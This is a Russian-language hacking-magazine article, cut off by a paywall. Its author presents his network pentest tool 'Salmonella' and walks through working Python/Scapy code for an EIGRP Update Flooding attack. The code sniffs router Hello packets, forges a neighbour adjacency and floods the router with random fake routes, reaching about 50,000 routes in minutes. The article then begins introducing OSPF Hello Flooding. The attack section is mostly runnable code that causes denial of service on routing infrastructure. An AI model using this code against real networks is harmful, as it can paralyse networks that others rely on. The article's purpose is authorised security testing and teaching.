Ста­биль­ная сеть может пог­рузить­ся в хаос за секун­ды: все­го нес­коль­ко спе­циаль­но сфор­мирован­ных пакетов спо­соб­ны нарушить работу клю­чевых про­токо­лов. В этой статье я покажу реали­зацию атак OSPF Hello Flooding, EIGRP Update Flooding, VRRP Takeover и VRRP Flip-Flopping в моем инс­тру­мен­те Salmonella и раз­беру код, который прев­раща­ет теорию в дей­ству­ющий патоген про­тив сетевой инфраструк­туры.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

 

От форм и кнопок — к argparse

Ес­ли ты читал мою пре­дыду­щую статью, то навер­няка в кур­се моей задум­ки: написать собс­твен­ный инс­тру­мент для пен­теста сетей. Я был в осо­бен­ности дви­жим иде­ей кра­сиво­го и user-friendly гра­фичес­кого интерфей­са. Одна­ко, приз­наюсь чес­тно, для меня это ока­залось доволь­но труд­ной задачей: навыков дизай­на GUI у меня нет.

Да, в пре­дыду­щей статье я демонс­три­ровал про­тотип с интерфей­сом на биб­лиоте­ке CustomTkinter для Python, но, обна­ружив в нем мно­жес­тво оши­бок, я решил отка­зать­ся от гра­фичес­кой обо­лоч­ки в поль­зу кон­соль­ного при­ложе­ния. Воз­можно, в будущем я вер­нусь к идее окон­ного при­ложе­ния.

За­пуск атак в текущей реали­зации орга­низо­ван через argparse, где спер­ва ука­зыва­ется тип ата­ки, а затем — харак­терные для нее парамет­ры:

sudo python3 salmonella.py <ТИП_АТАКИ> [ПАРАМЕТРЫ]

Та­ким обра­зом, хотя гра­фичес­кий интерфейс и был уда­лен, базовая логика работы Salmonella оста­лась преж­ней. Все фун­кци­ональ­ные воз­можнос­ти сох­ранены, но теперь они дос­тупны через кон­соль, а не через кноп­ки и пол­зунки.

Ну и конеч­но же, заг­лядывай на мой GitHub за ис­ходни­ками.

 

Первый взгляд

В вер­сии 1.1.0 реали­зова­ны 13 атак на раз­личные про­токо­лы. Давай пос­мотрим, как это работа­ет. Что­бы начать работу с Salmonella, дос­таточ­но уста­новить необ­ходимые зависи­мос­ти, перечис­ленные в README, и выпол­нить

python salmonella.py

или

python salmonella.py --help

Пе­ред тобой в таб­лице будут выведе­ны типы атак и их крат­кое опи­сание. Фор­мулиров­ки в скоб­ках стол­бца Description опи­сыва­ют конеч­ный резуль­тат успешно­го выпол­нения ата­ки.

Ду­маю, ты обра­тил вни­мание на помет­ки (DoS) нап­ротив некото­рых типов атак. Если ты подумал, что смысл таких атак в отправ­ке огромно­го количес­тва пакетов/зап­росов, то спе­шу тебя поп­равить. Помет­ки (DoS) я добавил, что­бы ты понимал резуль­тат успешно­го про­веде­ния ата­ки, то есть отказ в обслу­жива­нии.

При­веду при­мер. Допус­тим, ты реали­зовал ата­ку ARP Spoofing. Для жер­твы и сети в целом ничего не поменя­лось, кро­ме того, что тра­фик теперь ходит через зло­умыш­ленни­ка. А вот успешная реали­зация, к при­меру, EIGRP Abusing K-values при­ведет к пос­тоян­ным флап­пингам меж­ду сосед­ними мар­шру­тиза­тора­ми EIGRP и, как следс­твие, парали­чу сети.

То есть помет­ка (DoS) мар­киру­ет ата­ки, которые при успешном исполне­нии парали­зуют нор­маль­ную работу сег­мента или всей сети в целом.

Для прос­мотра дос­тупных парамет­ров той или иной ата­ки выпол­ни

python salmonella.py <ТИП_АТАКИ> -h

ли­бо

python salmonella.py <ТИП_АТАКИ> --help

Здесь ты в такой же таб­личной фор­ме получишь спи­сок всех дос­тупных парамет­ров с крат­ким опи­сани­ем для про­веде­ния кон­крет­ной ата­ки, а так­же два‑три при­мера исполь­зования.

Об­рати вни­мание на помет­ку (required) нап­ротив некото­рых парамет­ров — она озна­чает, что этот параметр обя­зате­лен к запол­нению.

Ну а теперь давай по оче­реди раз­берем новин­ки в обновлен­ной вер­сии Salmonella!

 

EIGRP Update Flooding

О про­токо­ле EIGRP я рас­ска­зывал в сво­их пре­дыду­щих стать­ях, пов­торять­ся не буду. Наз­вание EIGRP Update Flooding говорит само за себя — ата­кующий вызыва­ет лавин­ную рас­сылку сооб­щений EIGRP Update, что при­водит к напол­нению (или перепол­нению, в зависи­мос­ти от объ­ема и час­тоты отправ­ки) лож­ными мар­шру­тами таб­лицы мар­шру­тиза­ции. Поэто­му эту ата­ку еще спра­вед­ливо называ­ют EIGRP Routing Table Overflow. Инъ­екция огромно­го количес­тва мар­шру­тов пло­хо ска­зыва­ется на про­изво­дитель­нос­ти, так как EIGRP поп­росту не рас­счи­тан на такое количес­тво мар­шру­тов.

Да­вай я сра­зу покажу, как я реали­зовал ата­ку на перепол­нение таб­лицы мар­шру­тиза­ции в Salmonella. Запуск ата­ки от тебя не тре­бует ничего, кро­ме как ука­зания сетево­го интерфей­са (да и это по желанию).

Пос­ле запус­ка идет поиск EIGRP-роуте­ров в сети. Если таковые най­дены — информа­ция о них выводит­ся тебе в кон­соль, пос­ле чего запус­кает­ся про­цесс уста­нов­ки соседс­тва и флуд Update-сооб­щени­ями новому соседу.

Да­вай пос­мотрим, что про­исхо­дит под капотом. Запус­кает­ся сниф­фер, который зах­ватыва­ет пакеты EIGRP Hello и ана­лизи­рует их. Это нуж­но для того, что­бы ты сам не искал EIGRP-роуте­ры и не запоми­нал, какие у них там авто­ном­ные сис­темы, коэф­фици­енты и про­чие парамет­ры.

Зах­ватив Hello-пакет, скрипт сох­раня­ет в локаль­ные перемен­ные IP и MAC-адрес сосед­него роуте­ра, номер авто­ном­ной сис­темы, коэф­фици­енты, hold-тай­мер, а так­же опре­деля­ет, есть ли аутен­тифика­ция (пока не реали­зова­на), и уста­нав­лива­ет флаг eigrp_hello_captured = True, если пакет Hello зах­вачен и на сосед­нем мар­шру­тиза­торе не вклю­чена аутен­тифика­ция:

def analyze_packet(packet):
if packet.haslayer(EIGRP) and packet[EIGRP].opcode == 5: # Если это EIGRP Hello
if packet.haslayer(EIGRPAuthData):
auth = True
auth_type = packet[EIGRPAuthData].authtype
auth_data = packet[EIGRPAuthData].authdata
key_id = packet[EIGRPAuthData].keyid
if auth_type == 2:
output_auth = f" {Fore.RED}MD5 (Temporarily unsupported){Fore.RESET}"
elif auth_type == 3:
output_auth = f" {Fore.RED}SHA2-256 (Temporarily unsupported){Fore.RESET}"
else:
auth = False
output_auth = "None"
eigrp_hello_captured = True # Захвачен
target_mac = (packet[Ether].src).upper()
target_ip = packet[IP].src
autonomous_system = packet[EIGRP].asn
k1 = packet[EIGRPParam].k1
k2 = packet[EIGRPParam].k2
k3 = packet[EIGRPParam].k3
k4 = packet[EIGRPParam].k4
k5 = packet[EIGRPParam].k5
hold_time = packet[EIGRPParam].holdtime
sniffer = AsyncSniffer(filter="ip proto 88", iface=interface, prn=analyze_packet, store=0, timeout=20, count=1) # Ждем захвата EIGRP-пакета и анализируем его
sniffer.start()

Воз­можно, ты задашь спра­вед­ливый воп­рос: почему зах­ватываю имен­но Hello? Потому что имен­но в Hello-сооб­щении содер­жатся K-коэф­фици­енты, столь важ­ные для уста­нов­ления смеж­ности меж­ду роуте­рами. Ведь если зах­ватить, нап­ример, сооб­щение Update, то скрипт прос­то‑нап­росто не смо­жет извлечь зна­чения коэф­фици­ентов, так как их прос­то там нет, что при­ведет к ошиб­ке.

Сниф­фер работа­ет 20 с, пос­ле чего зах­ват прек­раща­ется и, если ни одно­го EIGRP Hello не было зах­вачено, выводит­ся соот­ветс­тву­ющее сооб­щение. В про­тив­ном слу­чае запус­кают­ся фун­кции для неп­рерыв­ной отправ­ки ACK-, Hello- и, самое глав­ное, Update-сооб­щений:

# Если не найден ни один EIGRP-роутер
if eigrp_hello_captured == False:
print(Fore.RED + f" [-] %ERROR: No EIGRP routers detected (attack aborted)")
# Если есть аутентификация
elif auth == True:
print(Fore.RED + f"\n [-] %ERROR: EIGRP router uses authentication (attack aborted)")
# Если найден запускаем Hello, Update и ACK-процессы
else:
Thread(target=send_eigrp_hello, daemon=False).start()
Thread(target=send_eigrp_ack, daemon=False).start()
Thread(target=send_eigrp_update, daemon=False).start()

Фун­кция отправ­ки сооб­щений Hello (для под­держа­ния сос­тояния смеж­ности/соседс­тва):

# Отправка EIGRP Hello соседнему роутеру каждые 5 с
def send_eigrp_hello():
while True:
hello_packet = (Ether(src="00:25:2e:01:ab:3c", dst="01:00:5e:00:00:0a") /
IP(dst="224.0.0.10", ttl=1) /
EIGRP(opcode=5, asn=autonomous_system) /
EIGRPParam(holdtime=hold_time, k1=k1, k2=k2, k3=k3, k4=k4, k5=k5))
sendp(hello_packet, iface=interface, verbose=False)
time.sleep(5)

Фун­кция для отправ­ки ACK-под­твержде­ний на обновле­ния соседа, которые он нам обя­затель­но будет слать (фун­кция необя­затель­ная, но я решил добавить, что­бы сосед успо­коил­ся и не спа­мил обновле­ниями):

# Отправка EIGRP ACK на обновления соседа
def send_eigrp_ack():
def analyze_update(packet):
if packet.haslayer(EIGRP) and packet[EIGRP].opcode == 1:
seq_of_neighbor = packet[EIGRP].seq
target_mac = packet[Ether].src
target_ip = packet[IP].src
ack_for_update = (Ether(src="00:25:2e:01:ab:3c", dst=target_mac) /
IP(dst=target_ip, ttl=1) /
EIGRP(opcode=5, asn=autonomous_system, ack=seq_of_neighbor))
sendp(ack_for_update, iface=interface, count=1, verbose=False)
sniffer = AsyncSniffer(filter="ip proto 88", iface=interface, prn=analyze_update, store=0)
sniffer.start()

Те­перь под­робнее рас­ска­жу про фун­кцию флу­дин­га сооб­щени­ями Update. Уста­нав­лива­ем счет­чик (для отче­та) и отправ­ляем пер­вый и единс­твен­ный пакет Update.

total = 0
init_packet = (Ether(src="00:25:2e:01:ab:3c", dst=target_mac) /
IP(dst=target_ip, ttl=1) /
EIGRP(opcode=1, asn=autonomous_system, seq=seq, flags=1))
sendp(init_packet, iface=interface, count=1, verbose=False)

Да, я не ошиб­ся, толь­ко один Update-пакет... с фла­гом Init. Сог­ласно RFC 7868 флаг Init (flags=1) отправ­ляет­ся недав­но обна­ружен­ному роуте­ру EIGRP, который объ­явля­ет начало про­цес­са обме­на мар­шру­тами. Если в даль­нейшем отпра­вить EIGRP Update с фла­гом Init, это даст соседу сиг­нал обну­лить таб­лицу мар­шру­тиза­ции и начать про­цесс заново. Поэто­му уста­нав­лива­ем флаг Init толь­ко в начале.

Фор­миру­ем лож­ные мар­шру­ты:

networks = [".".join(str(random.randint(1, 254)) for _ in range(3)) + "." + str(random.randrange(0, 253, 4))
for _ in range(16)]

Здесь очень важ­ный момент. Я фор­мирую мак­сималь­но малень­кие адре­са сетей — пер­вые три окте­та ран­домные, а чет­вертый октет получа­ет крат­ное 4 зна­чение, что­бы исполь­зовать 30-й пре­фикс. Таких сетей я фор­мирую 16 штук (мож­но и боль­ше, но пока тес­тирую 16 сетей в одном Update-сооб­щении).

Фор­миру­ем собс­твен­но сам пакет EIGRP Update:

prefix = 30
next_hop = "0.0.0.0"
# Создание базового пакета
update_packet = (Ether(src="00:25:2e:01:ab:3c", dst=target_mac) /
IP(dst=target_ip, ttl=1) /
EIGRP(opcode=1, asn=autonomous_system, seq=seq, flags=8))

Кста­ти, теперь и в сле­дующих Update-сооб­щени­ях я став­лю флаг End Of Table (flags=8). Через цикл при­соеди­няю сфор­мирован­ные ранее мар­шру­ты к EIGRP-пакету и отправ­ляю его:

# Добавление маршрутов через цикл
for network in networks:
update_packet /= EIGRPIntRoute(nexthop=next_hop, dst=network, prefixlen=prefix)
sendp(update_packet, iface=interface, count=1, verbose=False)

А теперь сно­ва фор­миру­ем новые 16 сетей по 30-му пре­фик­су и отправ­ляем через 0,5 с и так в бес­конеч­ном цик­ле:

total += 1
time.sleep(0.5)
print(Fore.GREEN + f" [+] EIGRP Updates: {total} packets sent, ~{total * 16} routes advertised", end="\r")

Итак, что мы получа­ем? Каж­дую секун­ду мы отправ­ляем око­ло 32 мар­шру­тов. Мно­го это или мало? Воз­можно, это­го мало, тог­да я уве­личу количес­тво мар­шру­тов в одном Update-сооб­щении. Пока оставлю на ста­дии тес­тирова­ния.

Да­вай про­верим, что в ито­ге про­исхо­дит в таб­лице мар­шру­тиза­ции, и пос­мотрим ста­тис­тику по мар­шру­там.

За нес­коль­ко минут в таб­лице мар­шру­тиза­ции наб­ралось поч­ти 50 тысяч мар­шру­тов EIGRP.

 

OSPF Hello Flooding

Ни для кого не сек­рет, что OSPF — самый популяр­ный про­токол динами­чес­кой мар­шру­тиза­ции. Баланс меж­ду мощ­ной фун­кци­ональ­ностью, высокой ско­ростью, надеж­ностью и откры­тостью сде­лал OSPF золотым стан­дартом сре­ди про­токо­лов внут­ренней мар­шру­тиза­ции и обес­печил ему лидиру­ющие позиции в мире сетевых тех­нологий. А сей­час я про­демонс­три­рую пер­вую реали­зацию век­тора ата­ки на OSPF в Salmonella. Но преж­де крат­ко про­бежим­ся по теории и стан­дарту RFC.

Речь, как и в слу­чае с пре­дыду­щей ата­кой, тоже пой­дет про флу­динг, но уже не Update-пакета­ми, а Hello. В прош­лой статье я уже рас­ска­зывал про EIGRP Hello Flooding. Здесь то же самое, но уже в кон­тек­сте OSPF. Цель ата­ки — перепол­нить таб­лицу соседей OSPF.

Раз уж у нас Hello-флу­динг, то давай на сегод­ня огра­ничим­ся рас­смот­рени­ем толь­ко Hello-пакета OSPF плюс самого заголов­ка OSPF, так как он исполь­зует­ся всег­да. На дан­ный момент в Salmonella реали­зова­на под­дер­жка OSPF Hello Flooding для вто­рой вер­сии про­токо­ла OSPF (RFC 2328).

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии